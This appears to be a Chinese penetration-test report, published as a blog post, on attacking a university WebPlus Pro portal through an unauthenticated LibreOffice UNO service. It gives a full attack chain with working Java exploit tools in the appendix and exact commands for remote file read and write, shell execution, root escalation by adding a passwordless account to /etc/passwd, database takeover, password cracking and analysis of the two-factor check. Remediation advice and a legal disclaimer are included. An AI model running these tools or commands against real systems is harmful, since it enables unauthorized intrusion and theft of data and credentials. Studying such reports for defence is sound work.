EDU攻防实战:对山东某高校的线下打点渗透复盘⑤
XXXXXX门户系统漏洞报告
目标地址:http://10.1.X.XX、10.1.X.XXX
涉及服务:80/tcp WebPlus Pro、8100/tcp LibreOffice UNO Remote、后端 MySQL 10.1.X.XXX:3306

一、结论摘要
本次测试已确认目标存在一条高危攻击链:
UNO 未授权暴露
-> 任意文件读取/目录枚举/任意文件写入
-> 借助用户脚本实现命令执行
-> 利用 /etc/passwd 可写提权到容器 root
-> 在共享目录 /_temp 创建 Web 侧符号链接
-> 读取 Web 应用配置和类文件
-> 获取 MySQL root 凭据并直连数据库
-> 导出后台用户、站点、栏目、文章、登录历史、系统配置
-> 进一步恢复部分后台用户密码
-> 拿到双因子短信实现类、放行条件和短信 AK/SK
该链路已实际达到以下效果:
- 成功读取 Web 容器配置、JSP 和 class 文件
- 成功获取数据库账号
root / XXXXXX并直连 - 成功导出后台核心业务数据
- 成功恢复出多个后台用户口令
- 成功确认双因子短信发送实现、验证码流程与放行条件
综合评级:严重 / Critical
二、目标与环境识别
2.1 端口与服务
已确认开放:
22/tcpOpenSSH80/tcpApache / WebPlus Pro8100/tcpUNO Remote Protocol(LibreOffice/OpenOffice)
2.2 Web 指纹
- 根路径访问后跳转到
/login.jsp?_p=YXXXXXXXXXXX - 登录页标题为:
XXXX - 后台存在双因子验证页:
/_web/_twoFactorAuth/twoAuthLogin.jsp
三、漏洞详情
3.1 漏洞一:8100 端口未授权暴露 UNO 远程对象服务
漏洞描述
目标主机对外开放 LibreOffice UNO 远程桥接服务,且无任何认证控制。攻击者可直接连接 10.1.X.XX:8100,调用 UNO 对象接口操作服务端文件系统及办公组件能力。
UNO 简述
UNO(Universal Network Objects)可以理解为 LibreOffice/OpenOffice 的组件对象模型和远程调用框架。目标若以 -accept=socket,...;urp;StarOffice.ServiceManager 方式对外暴露服务,客户端就可以通过 uno:socket,...;urp;StarOffice.ComponentContext 连接远端 ServiceManager,再去创建 Desktop、SimpleFileAccess、SystemShellExecute 等对象。因此这里不是“普通 8100 端口开放”,而是“无认证暴露了一个可远程创建对象的组件服务”。
风险等级
严重 / Critical
危害
该问题本身就是一个“无认证远程对象接口暴露”,可以直接作为进入系统的主入口,不需要任何 Web 后台账号。
复现方法
本地使用的 tools/unojars/libreoffice-7.3.6.jar 是 LibreOffice 7.3.6 的 UNO Java 客户端依赖,其中:
tools/unojars/libreoffice-7.3.6.jar:UNO Java 运行时依赖./scripts:本地编译后的UnoRead.class、UnoFs.class、UnoExec.class所在目录.:当前目录也加入 classpath,便于 Java 找到默认包下的类
对应的本地编译命令如下:
javac -cp tools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java scripts/UnoFs.java scripts/UnoExec.java
本地调用 scripts/UnoRead.java 的关键代码如下,可以看到核心就是先连到远端 UNO,再创建 Desktop 对象读取 file:///etc/passwd:
完整代码见文末
XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
Object resolver = localFactory.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
XComponentContext remoteContext = UnoRuntime.queryInterface(XComponentContext.class, initialObject);
Object desktop = remoteFactory.createInstanceWithContext("com.sun.star.frame.Desktop", remoteContext);
XComponent doc = loader.loadComponentFromURL(target, "_blank", 0, props);
System.out.println(textDoc.getText().getString());
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoRead 10.1.X.XX 8100 file:///etc/passwd
执行后可直接读取服务端本地文件。
3.2 漏洞二:基于 UNO 的任意文件读取、目录遍历、任意文件写入
漏洞描述
通过 com.sun.star.ucb.SimpleFileAccess 接口,可直接:
- 读取任意本地文件
- 枚举任意目录
- 写入任意文件
风险等级
严重 / Critical
已验证结果
已成功读取:
/etc/passwd/etc/hosts/proc/self/cmdline/proc/self/environ/opt/app-root/bin/run/root/.bashrc
已成功枚举:
file:///file:///opt/app-rootfile:///rootfile:///tmp
已成功写入:
/tmp/codex_uno_probe.txt
危害
这一步已经足以完成容器环境侦察、启动参数泄露、敏感路径发现以及后续利用文件落地。
复现方法
该步骤使用的是本地编写的 scripts/UnoFs.java,编译方式同上。其关键代码如下,可见其核心是通过 com.sun.star.ucb.SimpleFileAccess 直接执行列目录、读文件、写文件:
Object sfaObject = remoteFactory.createInstanceWithContext(
"com.sun.star.ucb.SimpleFileAccess", remoteContext);
XSimpleFileAccess3 sfa = UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
for (String item : sfa.getFolderContents(target, true)) {
System.out.println(item);
}
XInputStream input = sfa.openFileRead(target);
XOutputStream output = sfa.openFileWrite(target);
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 list file:///
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoRead 10.1.X.XX 8100 file:///proc/self/environ
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 write file:///tmp/codex_uno_probe.txt 'test'
3.3 漏洞三:通过 UNO 用户脚本链实现远程命令执行,并进一步提权为容器 root
漏洞描述
在已具备文件写入能力的前提下,可向 OpenOffice 用户脚本目录写入可执行脚本,再通过 UNO 调用触发,形成命令执行。随后又利用 /etc/passwd 可写特性构造临时 root 账户,成功在容器内提权。
风险等级
严重 / Critical
危害
这意味着攻击者不仅能“读配置”,而且已经能“执行命令”,并且命令执行权限进一步升级为了容器内 root。
利用结果
已实现:
- 远程执行 shell 命令
- 创建临时 root 身份执行命令
- 在共享挂载目录中创建符号链接
用于稳定验证命令执行的本地工具为 scripts/UnoExec.java,编译方式同上,其关键代码如下:
Object shellObject = remoteFactory.createInstanceWithContext(
"com.sun.star.system.SystemShellExecute", remoteContext);
XSystemShellExecute shell = UnoRuntime.queryInterface(XSystemShellExecute.class, shellObject);
shell.execute(command, params, 0);
命令执行验证示例:
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoExec 10.1.X.XX 8100 /bin/sh "-c 'id > /tmp/uno_exec.txt'"
进一步提权为容器 root 时,关键命令至少包括以下几步:
cp /etc/passwd /tmp/pw.bak
printf '%s
' 'r00t0::0:0:root:/root:/bin/sh' >> /etc/passwd
su r00t0 -c 'id'
mv /tmp/pw.bak /etc/passwd
本次实际利用时,已进一步通过 su r00t0 -c '<command>' 执行高权限命令,并在共享目录下创建 Web 侧符号链接用于读取 WEB-INF 配置。
3.4 漏洞四:共享目录 /_temp 可被利用为 Web 侧任意文件读取入口
漏洞描述
UNO 容器与 Web 容器共享 /_temp 目录。攻击者在 UNO 侧获取 root 后,可在该目录创建指向 Web 容器任意路径的符号链接。随后从 80 端口访问 /_temp/<link> 时,Web 服务会跟随该链接并返回目标文件内容。
风险等级
严重 / Critical
已成功读取的 Web 侧关键文件
/opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/web.xml/opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/classes/proxool.xml/opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/classes/application.yml/opt/sudytech/tomcat8/webapps/ROOT/_web/_twoFactorAuth/twoAuthLogin.jspTwoFactorAuthFilter.classxxxxTwoFactorImpl.class
危害
该漏洞把“容器侧能力”升级成了“直接读取 Web 应用真实配置、JSP、类文件和认证实现”。
复现思路
- 在共享目录
/_temp下创建指向目标文件的符号链接 - 通过 HTTP 请求
http://10.1.X.XX/_temp/<link>获取内容
3.5 漏洞五:数据库连接配置泄露,导致 MySQL root 账号直接暴露

漏洞描述
通过读取 proxool.xml,已直接获取应用使用的数据库连接配置。
风险等级
严重 / Critical
已确认凭据
- Host:
10.1.X.XXX - Port:
3306 - Database:
WEBPLUSPRO - User:
root - Password:
XXXXXXXXX
危害
攻击者无需进入后台页面,即可直接从数据库层读取后台用户、文章、站点、配置、日志等全部核心数据。
复现方法
读取 proxool.xml 后即可直接连接:
python3 webplus_db.py --query "select version()" --save loot/db_version.json
db_version.json
{
"host": "10.1.X.XXX",
"port": 3306,
"database": "WEBPLUSPRO",
"preset": null,
"query": "select version() as version, database() as current_db, user() as db_user",
"row_count": 1,
"rows": [
{
"version": "5.7.44-log",
"current_db": "WEBPLUSPRO",
"db_user": "root@10.200.XX.XXX"
}
]
}
3.6 漏洞六:后台核心数据可被完整导出

漏洞描述
在拿到 MySQL root 凭据后,已成功导出后台关键数据表,包括:
- 用户表
T_USER - 登录历史
T_LOGINHISTORY - 机构映射
T_ORGUSER - 站点表
T_SITE - 栏目表
T_COLUMN - 文章与正文预览
- 系统配置
T_SYSCONFIG - 发布服务器配置
T_PUBLISHSERVER - 双因子注册配置
T_TWOFACTORAUTH_REGISTER
风险等级
严重 / Critical
已确认的数据样例
后台管理员账号存在:
admin / 系统管理员
后台登录历史可见真实账号与来源:
2026-05-08 15:24:08 基建后勤处 172.16.X.XX2026-05-08 10:39:19 bgs(新闻中心) 172.16.X.XX2026-04-28 09:26:28 财务审计处 172.16.X.XX
已识别 19 个站点,包含:
XXXXXXXXXXXXXXXXXXXX招生就业网继续教育学院(培训处)国际交流合作处教务处信息技术中心
已读取文章标题、摘要与正文预览,包括:
XXXXXXXXXXX竞争性磋商采购公告XXXXXXXXXXXX政府采购意向2026年XXXXXXXXX成功举行
3.7 漏洞七:口令存储算法过弱,可离线恢复后台用户密码
漏洞描述
T_USER.Password 使用的不是强口令散列算法,而是:
Base64( MD5( LoginName + PlainPassword ) 的原始16字节摘要 )
该算法本质上仍然是 已知固定盐 + MD5,不具备现代口令保护强度。
风险等级
高危 / High
已恢复出的账号口令
csXXXXX / admin123安保处 / XXXXXXXX招生就业处 / XXXXXXXXXXXXXXX
危害
一旦用户表泄露,攻击者可利用已知 LoginName 批量离线碰撞常见口令,进一步接管后台账号。
复现思路
验证公式:
stored == base64(md5((login_name + candidate_password).encode()).digest()).decode()
3.8 漏洞八:双因子认证放行条件设计过于单薄,可被二次利用链绕过
漏洞描述
反编译 TwoFactorAuthFilter.class,确认双因子过滤器的核心放行条件仅为当前会话中存在:
SMS=<loginName>&1
也就是说,双因子是否通过,最终只取决于 Session 中的一个字符串属性。
风险等级
高危 / High
已确认逻辑
- 请求 URI 只要包含
_twoFactorAuth,过滤器直接放行 - 普通请求会检查当前登录用户
- 若 Session 属性
SMS的值为<当前登录名>&1,则允许继续访问 - 否则强制跳转到双因子登录页
已验证行为
使用已恢复账号 安保处 / XXXXXXXXX 登录后:
- 可稳定进入双因子验证页
POST /_web/_twoFactorAuth/api/valCode/create.rst返回successPOST /_web/_twoFactorAuth/api/valCode/check.rst对错误验证码返回您输入的验证码有误,请核对后重新输入!
安全意义
这说明:
- 双因子确实在服务端生效
- 但其最终信任边界被简化成了一个 Session 变量
- 一旦攻击者获得 Web 容器执行能力、Session 写入能力、Session 反序列化能力,或可调用某个写 Session 的同源接口,即可直接把
SMS写成<loginName>&1,从而彻底绕过双因子
3.9 漏洞九:双因子短信配置硬编码在类文件中,AK/SK 直接泄露
漏洞描述
已抓取并反编译双因子实现类:
com.sudytech.customize.xxxx.twoFactorAuth.impl.xxxxTwoFactorImpl
确认短信配置 并不在外部安全配置中心,而是直接硬编码在 class 文件中。
风险等级
严重 / Critical
已确认配置
- Provider:腾讯云短信
- Endpoint:
https://sms.tencentcloudapi.com - Host:
sms.tencentcloudapi.com - Region:
ap-beijing - Action:
SendSms - Version:
2021-01-11 SmsSdkAppId:XXXXXXXXTemplateId:XXXXXSignName:XXXXXXXXXXSecretId:XXXXXXXXXXXXXXXXXXXXSecretKey:XXXXXXXXXXXXXXXXXXXXXXX
神奇发现
该类中的 getCaptcha() 会生成 6 位随机数字验证码:
但是这个逻辑由于笔者能力有限,暂时无法确定是另有深意还是屎山代码
100000 + SecureRandom.nextInt(900000)
危害
泄露短信云账号密钥后,攻击者可能进一步:
- 滥用短信接口发送验证码或通知
- 推测或审计短信模板
- 伪造平台短信行为
- 结合双因子流程对后台用户实施更深层接管
四、造成的具体危害与信息泄露实例
以下为本次测试中已实际确认的 16 项具体危害,不依赖任何附件也可以独立说明问题严重性:
- 可直接读取目标容器
/etc/passwd,确认系统用户与运行环境 - 可直接读取
/proc/self/environ,获取运行时环境变量 - 可直接枚举服务端目录结构,定位脚本目录、临时目录和挂载点
- 可直接向服务端写入任意文件,为后续利用落地载荷
- 可在 OpenOffice 用户脚本目录写入脚本并触发执行,形成命令执行
- 可通过修改
/etc/passwd临时提权为容器 root - 可借助共享目录
/_temp读取 Web 容器WEB-INF/web.xml、proxool.xml、application.yml等核心配置 - 可直接获取 MySQL 连接地址
10.1.X.XXX:3306及 root 密码XXXXXX - 可直接导出后台 56 个用户账号信息、手机号、邮箱、状态等数据
- 可直接读取后台管理员账号
admin / 系统管理员的口令散列值 - 可直接恢复出部分后台用户明文口令,包括
安保处 / XXXXXX、招生就业处 / XXXXXXXX - 可直接读取 40 条后台登录历史,看到真实登录时间、登录用户、登录来源 IP、登录域名
- 可直接读取 19 个站点的名称、域名及站点关系信息,如
www.xxxx.edu.cn、XX.xxxx.edu.cn - 可直接读取后台文章标题、正文预览、采购公告、公示通知等业务内容
- 可直接读取系统邮箱账号
XXX.XXXXXXX@126.com及密码XXXXX - 可直接读取发布服务器配置:发布目标
10.1.X.XXX、同步账号sudysync、同步密码文件路径/opt/sudytech/pass/rsyncd_passwd.scrt
如果按业务影响看,这些泄露已经覆盖了:
- 账号体系
- 登录行为
- 站点资产
- 文章内容
- 基础设施配置
- 邮件配置
- 发布链配置
- 双因子短信配置
五、完整复现路径
按以下顺序复现:
- 连接 UNO 服务,验证未授权:
先准备本地 UNO Java 客户端依赖与编译后的类文件。编译命令如下:
javac -cp tools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java scripts/UnoFs.java scripts/UnoExec.java
UnoRead.java 的关键逻辑是先通过 UnoUrlResolver 连接远端 StarOffice.ComponentContext,再创建 Desktop 对象并调用 loadComponentFromURL() 读取本地文件:
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
Object desktop = remoteFactory.createInstanceWithContext("com.sun.star.frame.Desktop", remoteContext);
XComponent doc = loader.loadComponentFromURL(target, "_blank", 0, props);
System.out.println(textDoc.getText().getString());
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoRead 10.1.X.XX 8100 file:///etc/passwd
- 验证目录遍历与写文件:
UnoFs.java 的关键逻辑是创建 com.sun.star.ucb.SimpleFileAccess 对象并直接调用其文件接口:
Object sfaObject = remoteFactory.createInstanceWithContext(
"com.sun.star.ucb.SimpleFileAccess", remoteContext);
XSimpleFileAccess3 sfa = UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
for (String item : sfa.getFolderContents(target, true)) {
System.out.println(item);
}
XOutputStream output = sfa.openFileWrite(target);
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 list file:///
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoFs 10.1.X.XX 8100 write file:///tmp/probe.txt 'ok'
- 通过脚本/命令执行链获取容器高权限后,在共享目录下创建 Web 侧文件符号链接。
UnoExec.java的关键逻辑如下:
Object shellObject = remoteFactory.createInstanceWithContext(
"com.sun.star.system.SystemShellExecute", remoteContext);
XSystemShellExecute shell = UnoRuntime.queryInterface(XSystemShellExecute.class, shellObject);
shell.execute(command, params, 0);
先验证命令执行:
java -cp tools/unojars/libreoffice-7.3.6.jar:./scripts:. UnoExec 10.1.X.XX 8100 /bin/sh "-c 'id > /tmp/uno_exec.txt'"
再执行提权关键命令:
cp /etc/passwd /tmp/pw.bak
printf '%s
' 'r00t0::0:0:root:/root:/bin/sh' >> /etc/passwd
su r00t0 -c 'id; ln -sf /opt/sudytech/tomcat8/webapps/ROOT/WEB-INF/classes/proxool.xml /_temp/proxool.xml'
mv /tmp/pw.bak /etc/passwd
读取
proxool.xml,提取数据库凭据使用数据库脚本直连:
python3 webplus_db_probe.py --query "select version()" --save loot/db_version.json
利用已确认的口令算法离线恢复弱口令用户
反编译双因子类和过滤器,确认放行条件和短信实现
用已恢复账号测试双因子流程:
python webplus_2fa_probe.py '安保处' 'XXXXXX' --fake-ip --create --check-code 000000 --outdir loot/2fa_probe_anbao_v1
六、修复建议
- 立即关闭 8100 对外暴露,UNO 组件不得直接监听公网或竞赛入口网段
- 禁止 UNO 侧访问或写入共享 Web 根目录
- 修复容器文件权限,禁止普通服务用户写
/etc/passwd及敏感系统路径 - Web 侧禁止跟随
/_temp中的任意符号链接读取系统文件 - 立即更换数据库 root 密码,应用不得使用数据库 root 连接业务库
- 将口令存储升级为
bcrypt/scrypt/Argon2,禁止使用 MD5 - 双因子状态不得只依赖单个 Session 字符串,应引入服务端签名、过期时间、绑定用户和绑定验证码流水
- 短信 AK/SK 必须移出代码,改为环境变量、配置中心或密钥管理服务
- 对后台、数据库、短信云、系统邮箱、发布链路相关凭据进行整体轮换
- 审计所有历史登录、短信发送、配置读取和数据库访问痕迹
八、最终结论
本资产的核心问题不是某一个单点漏洞,而是多个高危缺陷首尾相接,最终形成了“未授权进入 -> 主机利用 -> 配置泄露 -> 数据库接管 -> 账号恢复 -> 双因子实现暴露”的完整攻击链。
在当前状态下,即使不进入后台页面,攻击者也已经能够直接获取后台关键数据;而一旦结合已泄露的短信配置、已恢复的账号口令和数据库修改能力,进入后台页面只是时间问题。
附录:部分脚本完整代码
UnoExec.java
import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.system.XSystemShellExecute;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
public class UnoExec {
private static XComponentContext connect(String host, String port) throws Exception {
XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
XMultiComponentFactory localFactory = localContext.getServiceManager();
Object resolver = localFactory.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext);
XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
}
public static void main(String[] args) throws Exception {
String host = args.length > 0 ? args[0] : "10.1.X.XX";
String port = args.length > 1 ? args[1] : "8100";
String command = args.length > 2 ? args[2] : "/bin/sh";
String params = args.length > 3
? args[3]
: "-c 'id > /tmp/uno_exec.txt; uname -a >> /tmp/uno_exec.txt'";
XComponentContext remoteContext = connect(host, port);
XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
Object shellObject = remoteFactory.createInstanceWithContext(
"com.sun.star.system.SystemShellExecute", remoteContext);
XSystemShellExecute shell = UnoRuntime.queryInterface(XSystemShellExecute.class, shellObject);
shell.execute(command, params, 0);
System.out.println("executed");
System.exit(0);
}
}
UnoFind.java
import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.ucb.XSimpleFileAccess3;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
public class UnoFind {
private static XComponentContext connect(String host, String port) throws Exception {
XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
XMultiComponentFactory localFactory = localContext.getServiceManager();
Object resolver = localFactory.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext);
XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
}
private static XSimpleFileAccess3 getSfa(XComponentContext remoteContext) throws Exception {
XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
Object sfaObject = remoteFactory.createInstanceWithContext(
"com.sun.star.ucb.SimpleFileAccess", remoteContext);
return UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
}
private static void walk(XSimpleFileAccess3 sfa, String path, String needle, int depth, int maxDepth) {
if (depth > maxDepth) {
return;
}
try {
for (String item : sfa.getFolderContents(path, true)) {
String lower = item.toLowerCase();
if (lower.contains(needle)) {
System.out.println(item);
}
try {
if (sfa.isFolder(item)) {
walk(sfa, item, needle, depth + 1, maxDepth);
}
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
}
}
public static void main(String[] args) throws Exception {
String host = args.length > 0 ? args[0] : "10.1.X.XX";
String port = args.length > 1 ? args[1] : "8100";
String start = args.length > 2 ? args[2] : "file:///";
String needle = args.length > 3 ? args[3].toLowerCase() : "";
int maxDepth = args.length > 4 ? Integer.parseInt(args[4]) : 4;
XComponentContext remoteContext = connect(host, port);
XSimpleFileAccess3 sfa = getSfa(remoteContext);
walk(sfa, start, needle, 0, maxDepth);
System.exit(0);
}
}
UnoFs.java
import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.io.XInputStream;
import com.sun.star.io.XOutputStream;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.ucb.XSimpleFileAccess3;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
import java.nio.file.Files;
import java.nio.file.Paths;
public class UnoFs {
private static XComponentContext connect(String host, String port) throws Exception {
XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
XMultiComponentFactory localFactory = localContext.getServiceManager();
Object resolver = localFactory.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext);
XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
}
private static XSimpleFileAccess3 getSfa(XComponentContext remoteContext) throws Exception {
XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
Object sfaObject = remoteFactory.createInstanceWithContext(
"com.sun.star.ucb.SimpleFileAccess", remoteContext);
return UnoRuntime.queryInterface(XSimpleFileAccess3.class, sfaObject);
}
public static void main(String[] args) throws Exception {
String host = args.length > 0 ? args[0] : "10.1.X.XX";
String port = args.length > 1 ? args[1] : "8100";
String mode = args.length > 2 ? args[2] : "list";
String target = args.length > 3 ? args[3] : "file:///";
XComponentContext remoteContext = connect(host, port);
XSimpleFileAccess3 sfa = getSfa(remoteContext);
if ("exists".equals(mode)) {
System.out.println(sfa.exists(target));
System.exit(0);
}
if ("list".equals(mode)) {
for (String item : sfa.getFolderContents(target, true)) {
System.out.println(item);
}
System.exit(0);
}
if ("cat".equals(mode)) {
XInputStream input = sfa.openFileRead(target);
try {
while (true) {
byte[][] buffer = new byte[1][];
int read = input.readBytes(buffer, 4096);
if (read <= 0) {
break;
}
System.out.write(buffer[0], 0, read);
if (read < 4096) {
break;
}
}
System.out.flush();
} finally {
input.closeInput();
}
System.exit(0);
}
if ("write".equals(mode)) {
String data = args.length > 4 ? args[4] : "codex-uno-write-test
";
byte[] bytes;
if (data.startsWith("@")) {
bytes = Files.readAllBytes(Paths.get(data.substring(1)));
} else {
bytes = data.getBytes("UTF-8");
}
XOutputStream output = sfa.openFileWrite(target);
try {
output.writeBytes(bytes);
output.flush();
} finally {
output.closeOutput();
}
System.out.println("wrote");
System.exit(0);
}
if ("mkdir".equals(mode)) {
sfa.createFolder(target);
System.out.println("created");
System.exit(0);
}
if ("rm".equals(mode)) {
sfa.kill(target);
System.out.println("removed");
System.exit(0);
}
System.err.println("Usage: UnoFs <host> <port> <list|cat|exists|write|mkdir|rm> <file-url> [data]");
System.exit(1);
}
}
UnoInvoke.java
import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.lang.XMultiComponentFactory;
import com.sun.star.script.provider.XScript;
import com.sun.star.script.provider.XScriptProvider;
import com.sun.star.script.provider.XScriptProviderFactory;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
public class UnoInvoke {
private static XComponentContext connect(String host, String port) throws Exception {
XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
XMultiComponentFactory localFactory = localContext.getServiceManager();
Object resolver = localFactory.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext);
XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
return UnoRuntime.queryInterface(XComponentContext.class, initialObject);
}
public static void main(String[] args) throws Exception {
try {
String host = args.length > 0 ? args[0] : "10.1.X.XX";
String port = args.length > 1 ? args[1] : "8100";
String scriptUri = args.length > 2
? args[2]
: "vnd.sun.star.script:Standard.Module1.Main?language=Basic&location=user";
XComponentContext remoteContext = connect(host, port);
XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
Object factoryObject = remoteFactory.createInstanceWithContext(
"com.sun.star.script.provider.MasterScriptProviderFactory", remoteContext);
XScriptProviderFactory scriptProviderFactory = UnoRuntime.queryInterface(
XScriptProviderFactory.class, factoryObject);
XScriptProvider scriptProvider = scriptProviderFactory.createScriptProvider("");
XScript script = scriptProvider.getScript(scriptUri);
Object result = script.invoke(new Object[0], new short[0][0], new Object[0][0]);
System.out.println(result == null ? "null" : result.toString());
System.exit(0);
} catch (Exception e) {
e.printStackTrace(System.err);
System.exit(2);
}
}
}
UnoRead.java
import com.sun.star.beans.PropertyValue;
import com.sun.star.bridge.XUnoUrlResolver;
import com.sun.star.comp.helper.Bootstrap;
import com.sun.star.frame.XComponentLoader;
import com.sun.star.lang.XComponent;
import com.sun.star.text.XTextDocument;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XComponentContext;
import com.sun.star.lang.XMultiComponentFactory;
public class UnoRead {
public static void main(String[] args) throws Exception {
String host = args.length > 0 ? args[0] : "10.1.X.XX";
String port = args.length > 1 ? args[1] : "8100";
String target = args.length > 2 ? args[2] : "file:///etc/passwd";
XComponentContext localContext = Bootstrap.createInitialComponentContext(null);
XMultiComponentFactory localFactory = localContext.getServiceManager();
Object resolver = localFactory.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext);
XUnoUrlResolver xResolver = UnoRuntime.queryInterface(XUnoUrlResolver.class, resolver);
String connect = "uno:socket,host=" + host + ",port=" + port + ";urp;StarOffice.ComponentContext";
Object initialObject = xResolver.resolve(connect);
XComponentContext remoteContext = UnoRuntime.queryInterface(XComponentContext.class, initialObject);
XMultiComponentFactory remoteFactory = remoteContext.getServiceManager();
Object desktop = remoteFactory.createInstanceWithContext("com.sun.star.frame.Desktop", remoteContext);
XComponentLoader loader = UnoRuntime.queryInterface(XComponentLoader.class, desktop);
PropertyValue hidden = new PropertyValue();
hidden.Name = "Hidden";
hidden.Value = Boolean.TRUE;
PropertyValue readOnly = new PropertyValue();
readOnly.Name = "ReadOnly";
readOnly.Value = Boolean.TRUE;
PropertyValue filter = new PropertyValue();
filter.Name = "FilterName";
filter.Value = "Text";
PropertyValue[] props = new PropertyValue[] {hidden, readOnly, filter};
XComponent doc = loader.loadComponentFromURL(target, "_blank", 0, props);
XTextDocument textDoc = UnoRuntime.queryInterface(XTextDocument.class, doc);
if (textDoc == null) {
System.out.println("[!] Loaded component but it is not a text document: " + target);
return;
}
String content = textDoc.getText().getString();
System.out.println(content);
doc.dispose();
}
}
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
